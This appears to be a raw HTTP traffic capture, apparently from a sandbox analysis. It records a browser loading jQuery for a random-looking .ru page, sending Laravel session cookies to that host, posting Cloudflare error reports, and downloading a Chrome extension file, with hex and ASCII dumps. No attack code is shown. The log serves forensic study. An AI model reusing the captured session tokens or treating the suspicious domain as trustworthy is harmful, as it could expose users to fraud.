2025-01-09 14:29:43 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bryf.atchirlisc.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 14:29:43 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1917509 Date: Thu, 09 Jan 2025 14:29:43 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740032-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736432983.354261,VS0,VE1 Vary: Accept-Encoding
2025-01-09 14:29:43 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-09 14:29:43 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-09 14:29:43 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-09 14:29:43 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-09 14:29:43 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-09 14:29:43 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:29:44 UTC	1324	OUT	GET /favicon.ico HTTP/1.1 Host: bryf.atchirlisc.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bryf.atchirlisc.ru/EeMAGvIe/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBhWmpGMDVWZ01jS0xzWm9RVGJ1VkE9PSIsInZhbHVlIjoia1BUemJwcVdBTWdYaURwRGxueFlaZ3FlM3QvalNpcnk2REFqbmVvbTFsbEZnNzl5Y0plbW9CQTNVZGZLQmw0aXZoUEQvVEt2ejZrWVMxUlpRWUVwWks2dzRwR2QvSDNLYU94MHJqdXlDYld6VWdsYW5Pa0NWOE1vQUx2WmxmZWgiLCJtYWMiOiIyZGY1YWNlMTg4Mzk3ODliNTUxMDZiNTA4ODM3YmMxNDcwM2ZhZGIwYzVmZTQ3ODE4ODU2OTYyZTQ4YjRlMmIyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImwvSU9DVUgvSmM0bDNKT1FTWXJ4Q1E9PSIsInZhbHVlIjoiT0UvWkFpOEpGMDcrM0pmay9sUEhjOXd4b0F4OUNBbmhrUEFJRi96K3JEU3haVGNZQWJPUDhseXRHYzVEUnFmSnVLTXl6WENENlhiNzNwTjBIVWVmbVpkaXpWdm9DMENPSlBFaGZqcjdscjB0em5SNUxkMGVLbWlFQmR1V3lTVTgiLCJtYWMiOiIyNDk2ZjJiZTE2MmE5ZjhhMDQ5ZTM3MWMyZWRmZWZjYTBlOGNiYTdhMzgyNmQ1ZmRmNTBmMjBmYmNkNjI4YzNjIiwidGFnIjoiIn0%3D
2025-01-09 14:29:44 UTC	1078	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 14:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 6653 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCVyA2PmCfeA6ON61TEjBpw%2Fm12h53FjdAjxb4FjBGXqwn1FWtJRvY1aQKGCLi3Cy6IY8gvA3is%2Fk8cLz1KQGXWbMe0zkt6QAiJf%2Ftxe%2FQyWZveMmFngujKg7zpljg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=73699&min_rtt=73492&rtt_var=41&sent=545&recv=206&lost=0&retrans=0&sent_bytes=715236&recv_bytes=15884&delivery_rate=3850888&cwnd=4&unsent_bytes=0&cid=22be797f844a5494&ts=355703&x=0" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8ff51f08da638c0f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1966&rtt_var=983&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4204&recv_bytes=1902&delivery_rate=212348&cwnd=223&unsent_bytes=0&cid=a292274667ecbea8&ts=2793&x=0"
2025-01-09 14:29:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:29:45 UTC	539	OUT	OPTIONS /report/v4?s=RCVyA2PmCfeA6ON61TEjBpw%2Fm12h53FjdAjxb4FjBGXqwn1FWtJRvY1aQKGCLi3Cy6IY8gvA3is%2Fk8cLz1KQGXWbMe0zkt6QAiJf%2Ftxe%2FQyWZveMmFngujKg7zpljg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://bryf.atchirlisc.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 14:29:45 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 09 Jan 2025 14:29:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:29:45 UTC	478	OUT	POST /report/v4?s=RCVyA2PmCfeA6ON61TEjBpw%2Fm12h53FjdAjxb4FjBGXqwn1FWtJRvY1aQKGCLi3Cy6IY8gvA3is%2Fk8cLz1KQGXWbMe0zkt6QAiJf%2Ftxe%2FQyWZveMmFngujKg7zpljg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 433 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 14:29:45 UTC	433	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 72 79 66 2e 61 74 63 68 69 72 6c 69 73 63 2e 72 75 2f 45 65 4d 41 47 76 49 65 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":119,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://bryf.atchirlisc.ru/EeMAGvIe/","sampling_fraction":1.0,"server_ip":"104.21.80.1","status_code":404,"type":"http.error"},"type":"network-erro
2025-01-09 14:29:45 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 09 Jan 2025 14:29:45 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:30:06 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-09 14:30:06 UTC	563	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC6CCDs3O85rvq1eyKFrqcVDqa0zXr7M3HQibbTO4mu2hMZvb7vwmwrwWOpNfVSmtuBQ Accept-Ranges: bytes Content-Length: 154477 X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Wed, 08 Jan 2025 15:58:13 GMT Expires: Thu, 08 Jan 2026 15:58:13 GMT Cache-Control: public, max-age=31536000 Age: 81113 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-09 14:30:06 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
